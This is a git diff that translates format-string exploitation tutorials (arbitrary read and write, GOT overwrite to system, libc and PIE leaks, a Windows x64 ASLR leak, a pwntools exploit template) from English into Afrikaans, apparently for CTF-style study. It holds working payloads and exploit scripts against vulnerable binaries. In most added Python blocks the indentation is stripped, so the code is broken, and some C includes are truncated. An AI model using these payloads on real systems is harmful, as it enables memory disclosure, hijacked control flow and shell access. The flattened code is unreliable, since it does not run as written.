> [!CAUTION]
-> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
+> Let daarop dat jy nie die adres 0x8048000 aan die begin van die input kan plaas nie, omdat die string by 0x00 aan die einde van daardie adres afgesny sal word.
-### Find offset
+### Vind offset
-To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
+Om die offset na jou input te vind, kan jy 4 of 8 bytes (`0x41414141`) stuur, gevolg deur **`%1$x`**, en die waarde **verhoog** totdat jy die `A's` kry.[[3]](#references)
Brute Force printf offset
-
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@@ -125,88 +101,84 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
- # Construct a payload that includes the current integer as offset
- payload = f"AAAA%{i}$x".encode()
+# Construct a payload that includes the current integer as offset
+payload = f"AAAA%{i}$x".encode()
- # Start a new process of the "chall" binary
- p = process("./chall")
+# Start a new process of the "chall" binary
+p = process("./chall")
- # Send the payload to the process
- p.sendline(payload)
+# Send the payload to the process
+p.sendline(payload)
- # Read and store the output of the process
- output = p.clean()
+# Read and store the output of the process
+output = p.clean()
- # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
- if b"41414141" in output:
- # If the string is found, log the success message and break out of the loop
- log.success(f"User input is at offset : {i}")
- break
+# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
+if b"41414141" in output:
+# If the string is found, log the success message and break out of the loop
+log.success(f"User input is at offset : {i}")
+break
- # Close the process
- p.close()
+# Close the process
+p.close()
```
-
-### How useful
+### Hoe nuttig
-Arbitrary reads can be useful to:
+Arbitrary reads kan nuttig wees om:
-- **Dump** the **binary** from memory
-- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Dump** die **binary** uit memory
+- **Toegang te verkry tot spesifieke dele van memory waar sensitiewe** **info** gestoor word (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))[[3]](#references)
## **Arbitrary Write**
-The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address.
-
-Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**.
+Die formatter **`%$n`** **skryf** die **aantal geskryfde bytes** na die **aangeduide adres** in die -parameter op die stack. As 'n aanvaller soveel chars as wat hy wil met printf kan skryf, sal hy **`%$n`** kan gebruik om 'n arbitrêre getal na 'n arbitrêre adres te skryf.[[5]](#references)
+Gelukkig is dit nie nodig om 9999 "A"s by die input te voeg om die getal 9999 te skryf nie; om dit te doen, is dit moontlik om die formatter **`%.%$n`** te gebruik om die getal **``** te skryf na die **adres waarna die `num`-posisie wys**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
+Nietemin, let daarop dat om gewoonlik 'n adres soos `0x08049724` te skryf (wat 'n ENORME getal is om op een slag te skryf), **word `$hn`** in plaas van `$n` gebruik. Dit laat jou toe om **slegs 2 Bytes** te skryf. Daarom word hierdie bewerking twee keer uitgevoer: een keer vir die hoogste 2B van die adres en nog 'n keer vir die laagste een.
-However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
+Daarom laat hierdie kwesbaarheid jou toe om **enigiets na enige adres te skryf (arbitrary write).**
-Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
+In hierdie voorbeeld gaan die doel wees om die **adres** van 'n **function** in die **GOT**-tabel, wat later aangeroep gaan word, te **overwrite**. Alhoewel dit ander arbitrary write to exec-tegnieke kan misbruik:[[2]](#references)
-In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
-We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
-As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
+Ons gaan 'n **function** wat sy **arguments** van die **user** ontvang, **overwrite** en dit na die **`system`** **function** laat **point**.[[6]](#references) \
+Soos genoem, is 2 stappe gewoonlik nodig om die adres te skryf: Jy **skryf eers 2Bytes** van die adres en dan die ander 2. Om dit te doen, word **`$hn`** gebruik.
-- **HOB** is called to the 2 higher bytes of the address
-- **LOB** is called to the 2 lower bytes of the address
+- **HOB** word gebruik vir die 2 hoër bytes van die adres
+- **LOB** word gebruik vir die 2 laer bytes van die adres
-Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
+Dan, as gevolg van hoe format string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een.
-If HOB < LOB\
+As HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
-If HOB > LOB\
+As HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
-
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
-
### Pwntools Template
-You can find a **template** to prepare a exploit for this kind of vulnerability in:
+Jy kan 'n **template** vind om 'n exploit vir hierdie soort kwesbaarheid voor te berei in:
+
{{#ref}}
format-strings-template.md
{{#endref}}
-Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
-
+Of hierdie basiese voorbeeld van [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):[[9]](#references)
```python
from pwn import *
@@ -225,27 +197,59 @@ p.sendline('/bin/sh')
p.interactive()
```
-
## Format Strings to BOF
-It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
+Dit is moontlik om die write actions van 'n format string vulnerability te misbruik om **in addresses van die stack te skryf** en 'n **buffer overflow**-tipe vulnerability uit te buit.
+
-## Other Examples & References
+## Windows x64: Format-string leak om ASLR te omseil (geen varargs)
-- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
-- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
-- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
-- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
-- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
-- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
+Op Windows x64 word die eerste vier integer/pointer parameters in registers deurgegee: RCX, RDX, R8, R9. In baie buggy call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments word verskaf nie, byvoorbeeld:
+```c
+// keyData is fully controlled by the client
+// _snprintf(dst, len, fmt, ...)
+_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
+```
+Omdat geen varargs deurgegee word nie, sal enige omskakeling soos "%p", "%x", "%s" veroorsaak dat die CRT die volgende variadic argument uit die toepaslike register lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter transient waarde ook al tydens die call-site in R9 is, sal gedruk word. In die praktyk leak dit dikwels ’n stabiele in-module pointer (byvoorbeeld ’n pointer na ’n plaaslike/globale objek wat voorheen deur omliggende kode of ’n callee-saved value in R9 geplaas is), wat gebruik kan word om die module base te herstel en ASLR te omseil.[[7]](#references)[[8]](#references)
-
+Praktiese workflow:
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
+- Inject ’n harmless format soos "%p " heel aan die begin van die attacker-controlled string sodat die eerste conversion uitgevoer word voordat enige filtering plaasvind.
+- Capture die gelekte pointer, identifiseer die static offset van daardie objek binne die module (deur dit een keer met symbols of ’n plaaslike kopie te reverse), en herstel die image base as `leak - known_offset`.
+- Gebruik daardie base weer om absolute addresses vir ROP gadgets en IAT entries op afstand te bereken.
-{% embed url="https://www.stmcyber.com/careers" %}
+Voorbeeld (verkorte python):
+```python
+from pwn import remote
+
+# Send an input that the vulnerable code will pass as the "format"
+fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
+io = remote(HOST, 4141)
+# ... drive protocol to reach the vulnerable snprintf ...
+leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
+base = leaked - 0x20660 # module base = leak - offset
+print(hex(leaked), hex(base))
+```
+Notas:
+- Die presiese offset om af te trek, word een keer tydens plaaslike reversing gevind en daarna hergebruik (dieselfde binary/weergawe).
+- As "%p" nie met die eerste probeerslag 'n geldige pointer druk nie, probeer ander specifiers ("%llx", "%s") of veelvuldige conversions ("%p %p %p") om ander argument registers/stack te sample.
+- Hierdie patroon is spesifiek tot die Windows x64 calling convention en printf-family implementations wat niebestaande varargs uit registers haal wanneer die format string dit versoek.
+
+Hierdie tegniek is uiters nuttig om ROP op Windows-dienste te bootstrap wat met ASLR en geen ooglopende memory disclosure primitives gecompileer is nie.[[7]](#references)
+
+## Verwysings
+
+- [1] [ir0nstone - Format String](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
+- [2] [LiveOverflow - Format String Exploit and overwrite the Global Offset Table (bin 0x13)](https://www.youtube.com/watch?v=t1LH9D5cuK4)
+- [3] [CTF Recipes - Format String Data Leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
+- [4] [guyinatuxedo - pico18 echo](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
+- 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van format strings om die flag uit die stack te leak (geen behoefte om die execution flow te wysig nie)
+- [5] [guyinatuxedo - backdoor17 bbpwn](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
+- 32 bit, relro, geen canary, nx, geen pie, format string om die address van `fflush` met die win function te overwrite (ret2win)
+- [6] [guyinatuxedo - tw16 greeting](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
+- 32 bit, relro, geen canary, nx, geen pie, format string om 'n address binne main in `.fini_array` te skryf (sodat die flow nog 1 keer terugloop) en die address na `system` in die GOT table te skryf wat na `strlen` wys. Wanneer die flow teruggaan na main, word `strlen` met user input uitgevoer en wys dit na `system`; dit sal die aangestuurde commands uitvoer.
+- [7] [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [8] [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
+- [9] [ir0nstone - GOT Overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
index 0665b14a124..f2e26785d9c 100644
--- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
+++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md
@@ -2,31 +2,26 @@
{{#include ../../banners/hacktricks-training.md}}
-## Read Binary Start
+## Lees Binary Begin
### Code
-
```c
#include
int main(void) {
- char buffer[30];
+char buffer[30];
- fgets(buffer, sizeof(buffer), stdin);
+fgets(buffer, sizeof(buffer), stdin);
- printf(buffer);
- return 0;
+printf(buffer);
+return 0;
}
```
-
-Compile it with:
-
-```python
+Kompileer dit met:
+```bash
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
-
### Exploit
-
```python
from pwn import *
@@ -38,16 +33,17 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
-
-- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
-- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
-- The address selected is 0x00400000 because it's where the binary starts (no PIE)
+- Die **offset is 11** omdat die instelling van verskeie As en **brute-forcing** met ’n lus wat offsets van 0 tot 50 toets, gevind het dat dit by offset 11 en met 5 ekstra chars (pipes `|` in ons geval) moontlik is om ’n volledige adres te beheer.
+- Ek het **`%11$p`** gebruik met padding totdat ek gesien het dat die adres geheel en al `0x4141414141414141` was.
+- Die **format string payload is VOOR die adres** omdat die **printf ophou lees by ’n null byte**, dus, as ons die adres en daarna die format string stuur, sal die printf nooit by die format string uitkom nie, omdat ’n null byte vroeër gevind sal word.
+- Die geselekteerde adres is 0x00400000 omdat dit is waar die binary begin (geen PIE nie)
-## Read passwords
+## Lees wagwoorde
+
+Kwesbare binary met stack- en BSS-wagwoorde
```c
#include
#include
@@ -55,121 +51,123 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
- char stack_password[20] = "secretStackPass"; // Password in stack
- char input1[20], input2[20];
+char stack_password[20] = "secretStackPass"; // Password in stack
+char input1[20], input2[20];
- printf("Enter first password: ");
- scanf("%19s", input1);
+printf("Enter first password: ");
+scanf("%19s", input1);
- printf("Enter second password: ");
- scanf("%19s", input2);
+printf("Enter second password: ");
+scanf("%19s", input2);
- // Vulnerable printf
- printf(input1);
- printf("\n");
+// Vulnerable printf
+printf(input1);
+printf("\n");
- // Check both passwords
- if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
- printf("Access Granted.\n");
- } else {
- printf("Access Denied.\n");
- }
+// Check both passwords
+if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
+printf("Access Granted.\n");
+} else {
+printf("Access Denied.\n");
+}
- return 0;
+return 0;
}
```
+
-Compile it with:
-
+Kompileer dit met:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
+### Lees vanaf die stack
-### Read from stack
-
-The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
-
+Die **`stack_password`** sal in die stack gestoor word omdat dit 'n plaaslike veranderlike is, dus is dit genoeg om printf te misbruik om die inhoud van die stack te wys. Dit is 'n exploit om die eerste 100 posisies te BF om die wagwoorde vanaf die stack te leak:
```python
from pwn import *
for i in range(100):
- print(f"Try: {i}")
- payload = f"%{i}$s\na".encode()
- p = process("./fs-read")
- p.sendline(payload)
- output = p.clean()
- print(output)
- p.close()
+print(f"Try: {i}")
+payload = f"%{i}$s\na".encode()
+p = process("./fs-read")
+p.sendline(payload)
+output = p.clean()
+print(output)
+p.close()
```
-
-In the image it's possible to see that we can leak the password from the stack in the `10th` position:
+In die beeld is dit moontlik om te sien dat ons die password vanaf die stack in die `10th`-posisie kan leak:
-### Read data
+### Lees data
-Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
+Deur dieselfde exploit uit te voer, maar met `%p` in plaas van `%s`, is dit moontlik om ’n heap address vanaf die stack by `%25$p` te leak. Verder kan ons, deur die gelekte address (`0xaaaab7030894`) met die posisie van die password in die memory van daardie process te vergelyk, die address-verskil bepaal:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
+Nou is dit tyd om uit te vind hoe om 1 address in die stack te beheer sodat ons dit vanaf die tweede format string vulnerability kan benader:
+
+Vind beheerbare stack address
```python
from pwn import *
def leak_heap(p):
- p.sendlineafter(b"first password:", b"%5$p")
- p.recvline()
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- return int(response, 16)
+p.sendlineafter(b"first password:", b"%5$p")
+p.recvline()
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+return int(response, 16)
for i in range(30):
- p = process("./fs-read")
+p = process("./fs-read")
- heap_leak_addr = leak_heap(p)
- print(f"Leaked heap: {hex(heap_leak_addr)}")
+heap_leak_addr = leak_heap(p)
+print(f"Leaked heap: {hex(heap_leak_addr)}")
- password_addr = heap_leak_addr - 0x126a
+password_addr = heap_leak_addr - 0x126a
- print(f"Try: {i}")
- payload = f"%{i}$p|||".encode()
- payload += b"AAAAAAAA"
+print(f"Try: {i}")
+payload = f"%{i}$p|||".encode()
+payload += b"AAAAAAAA"
- p.sendline(payload)
- output = p.clean()
- print(output.decode("utf-8"))
- p.close()
+p.sendline(payload)
+output = p.clean()
+print(output.decode("utf-8"))
+p.close()
```
+
-And it's possible to see that in the **try 14** with the used passing we can control an address:
+En dit is moontlik om te sien dat ons met die **try 14** en die gebruikte passing 'n adres kan beheer:
### Exploit
+
+Leak heap then read password
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
- # At offset 25 there is a heap leak
- p.sendlineafter(b"first password:", b"%25$p")
- p.recvline()
- response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
- return int(response, 16)
+# At offset 25 there is a heap leak
+p.sendlineafter(b"first password:", b"%25$p")
+p.recvline()
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
-# Offset calculated from the leaked position to the possition of the pass in memory
+# Offset calculated from the leaked position to the position of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
-# At offset 14 we can control the addres, so use %s to read the string from that address
+# At offset 14 we can control the address, so use `%s` to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
@@ -178,7 +176,104 @@ output = p.clean()
print(output)
p.close()
```
+
+### Outomatisering van offset-ontdekking
+
+Wanneer die stack-uitleg by elke uitvoering verander (full ASLR/PIE), is dit stadig om offsets handmatig te bruteforce. `pwntools` stel `FmtStr` bloot om outomaties die argumentindeks op te spoor wat ons beheerde buffer bereik. Die lambda moet die programuitset terugstuur nadat die kandidaat-payload gestuur is. Dit stop sodra dit geheue betroubaar kan korrupteer/waarneem.
+```python
+from pwn import *
+
+context.binary = elf = ELF('./fs-read', checksec=False)
+
+# helper that sends payload and returns the first line printed
+io = process()
+def exec_fmt(payload):
+io.sendline(payload)
+return io.recvuntil(b'\n', drop=False)
+
+fmt = FmtStr(execute_fmt=exec_fmt)
+offset = fmt.offset
+log.success(f"Discovered offset: {offset}")
+```
+Jy kan dan `offset` hergebruik om arbitrary read/write-payloads met `fmtstr_payload` te bou, waardeur handmatige `%p` fuzzing vermy word.
+
+### PIE/libc leak then arbitrary read
+
+Op moderne binaries met PIE en ASLR, leak eers enige libc-pointer (byvoorbeeld `__libc_start_main+243` of `setvbuf`), bereken die bases, en plaas dan jou teikenadres ná die format string. Dit voorkom dat die `%s` deur null bytes binne die pointer afgesny word.
+
+
+Leak libc and read arbitrary address
+```python
+from pwn import *
+
+elf = context.binary = ELF('./fs-read', checksec=False)
+libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
+
+io = process()
+
+# leak libc address from stack (offset 25 from previous fuzz)
+io.sendline(b"%25$p")
+io.recvline()
+leak = int(io.recvline().strip(), 16)
+libc.address = leak - libc.symbols['__libc_start_main'] - 243
+log.info(f"libc @ {hex(libc.address)}")
+
+secret = libc.address + 0x1f7bc # adjust to your target
+
+payload = f"%14$s|||".encode()
+payload += p64(secret)
+
+io.sendline(payload)
+print(io.recvuntil(b"|||")) # prints string at calculated address
+```
+
+
+### 64-bit offset- en alignment-waarskuwing
+
+Op **SysV x86_64** word variadic arguments eers uit die gestoorde argument registers verbruik voordat `printf` met stack slots voortgaan. Daarom is die offset wat jou appended pointer bereik gewoonlik **hoër as op 32-bit** targets. Hou ook appended pointers **8-byte aligned**: as `%$p` ’n mengsel van padding bytes en die helfte van ’n adres druk, voeg junk (`||||`, `AAAA`, ens.) by totdat een slot presies jou marker (`0x4141414141414141`) is.[[1]](#references)
+
+### Beperkte `%s` leaks
+
+’n Raw `%s` stop by die eerste `\x00`, maar jy kan steeds die read baie meer betroubaar maak met ’n precision: `%.Ns` of `%m$.Ns`. Dit is nuttig om **oorlees in unmapped pages te vermy**, om **nie-line-georiënteerde binary data** te dump, en om **een byte op ’n slag** te probe wanneer jy strukture rekonstrueer.[[2]](#references)
+```python
+from pwn import *
+
+p = process('./fs-read')
+target = 0x00400000
+payload = b'%11$.32s||||' + p64(target)
+p.sendline(payload)
+print(p.recvuntil(b'||||', drop=True))
+```
+Dieselfde truuk werk ook as 'n **1-byte probe** met `%11$.1s`: as `START%11$.1sEND` as `STARTEND` terugkom, was die eerste byte by die teikenadres waarskynlik `\x00`.
+
+### Herbruikbare arbitrary-read primitive met `MemLeak` / `DynELF`
+
+Wanneer die kwesbare program **loopable** is (menu, daemon, persistent fork-server, ens.), omvou die `%s` primitive met `pwntools` se `MemLeak`. Sodra jy enige pointer na die hoofbinary of libc het, kan `DynELF daardie arbitrary-read primitive gebruik om symbols outomaties te resolve, eerder as om offsets hardcoded te maak.[[3]](#references)
+```python
+from pwn import *
+
+elf = context.binary = ELF('./fs-read', checksec=False)
+io = process()
+def leak(addr):
+io.sendline(b'%14$.32sEND' + p64(addr))
+return io.recvuntil(b'END', drop=True) or None
+
+mem = MemLeak(leak)
+print(mem[0x400000:0x400004])
+d = DynELF(mem, pointer=0x400000, elf=elf)
+print(hex(d.lookup('system', 'libc')))
+```
+As die teiken se invoerpad ongeldige grepe in die pointer wat jy aanheg verwerp, bied `pwntools` ook wrappers soos `MemLeak.NoNulls` en `MemLeak.NoNewlines` om die leak callback aan te pas.[[3]](#references)
+
+Vir die write stage ná ’n suksesvolle leak, gaan terug na die generiese [format-strings-bladsy](README.md).
+
+## Verwysings
+
+- [1] [NVISO - Format string exploitation: a hands-on exploration for Linux](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
+- [2] [printf(3) Linux man page](https://man7.org/linux/man-pages/man3/printf.3.html)
+- [3] [pwntools - pwnlib.memleak](https://docs.pwntools.com/en/stable/memleak.html)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md
index 71e1d462409..9c6ef4e9d7e 100644
--- a/src/binary-exploitation/format-strings/format-strings-template.md
+++ b/src/binary-exploitation/format-strings/format-strings-template.md
@@ -1,7 +1,6 @@
-# Format Strings Template
+# Format Strings-sjabloon
{{#include ../../banners/hacktricks-training.md}}
-
```python
from pwn import *
from time import sleep
@@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
- global P, ELF_LOADED, ROP_LOADED
+global P, ELF_LOADED, ROP_LOADED
- if LOCAL:
- P = process(LOCAL_BIN) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+if LOCAL:
+P = process(LOCAL_BIN) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
- elif REMOTETTCP:
- P = remote('10.10.10.10',1338) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+elif REMOTETTCP:
+P = remote('10.10.10.10',1338) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
- elif REMOTESSH:
- ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
- P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(elf)# Find ROP gadgets
+elif REMOTESSH:
+ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
#######################################
@@ -60,45 +59,45 @@ def connect_binary():
#######################################
def send_payload(payload):
- payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
- log.info("payload = %s" % repr(payload))
- if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
- P.sendline(payload)
- sleep(0.5)
- return P.recv()
+payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
+log.info("payload = %s" % repr(payload))
+if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
+P.sendline(payload)
+sleep(0.5)
+return P.recv()
def get_formatstring_config():
- global P
-
- for offset in range(1,1000):
- connect_binary()
- P.clean()
+global P
- payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
- recieved = send_payload(payload).strip()
+for offset in range(1,1000):
+connect_binary()
+P.clean()
- if b"41" in recieved:
- for padlen in range(0,4):
- if b"41414141" in recieved:
- connect_binary()
- payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
- recieved = send_payload(payload).strip()
- print(recieved)
- if b"42424242" in recieved:
- log.info(f"Found offset ({offset}) and padlen ({padlen})")
- return offset, padlen
+payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
+received = send_payload(payload).strip()
- else:
- connect_binary()
- payload = b" " + payload
- recieved = send_payload(payload).strip()
+if b"41" in received:
+for padlen in range(0,4):
+if b"41414141" in received:
+connect_binary()
+payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
+received = send_payload(payload).strip()
+print(received)
+if b"42424242" in received:
+log.info(f"Found offset ({offset}) and padlen ({padlen})")
+return offset, padlen
+
+else:
+connect_binary()
+payload = b" " + payload
+received = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
# is being reflected. Then, you will be able to put in the position arbitrary addresses
# and write arbitrary content in those addresses
-# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
+# Therefore, get_formatstring_config finds the offset and padding needed to exploit the format string
offset, padlen = get_formatstring_config()
@@ -109,9 +108,9 @@ offset, padlen = get_formatstring_config()
# Therefore, next time the printf function is executed, system will be executed instead with the same
# parameters passed to printf
-# In some scenarios you will need to loop1 more time to the vulnerability
-# In that cases you need to overwrite a pointer in the .fini_array for example
-# Uncomment the commented code below to gain 1 rexecution extra
+# In some scenarios, you need to loop once more to the vulnerability.
+# In those cases, you can overwrite a pointer in .fini_array, for example.
+# Uncomment the code below to gain one extra execution.
#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
#INIT_LOOP_ADDR = 0x8048614 # Address to go back
@@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
- # attach gdb and continue
- # You can set breakpoints, for example "break *main"
- gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
- sleep(5)
+# attach gdb and continue
+# You can set breakpoints, for example "break *main"
+gdb.attach(P.pid, "b *main") # Add more breakpoints separated by "\n"
+sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@@ -141,5 +140,9 @@ format_string.execute_writes()
P.interactive()
```
+Hierdie template veronderstel dat die target beide `printf` en `system` importeer, ’n skryfbare `printf` GOT-entry het (geen Full RELRO nie), en later `printf` met attacker-controlled data oproep. Indien ’n prerequisite verskil, kies ’n ander skryfbare callback of control-flow target. Pwntools se `FmtStr` outomatiseer offset discovery en `%n`-writes, maar benodig steeds ’n betroubare request/response-funksie.[[1]](#references)
+
+## References
+- [1] [Pwntools-dokumentasie — `pwnlib.fmtstr`](https://docs.pwntools.com/en/stable/fmtstr.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
new file mode 100644
index 00000000000..1b82f91fb60
--- /dev/null
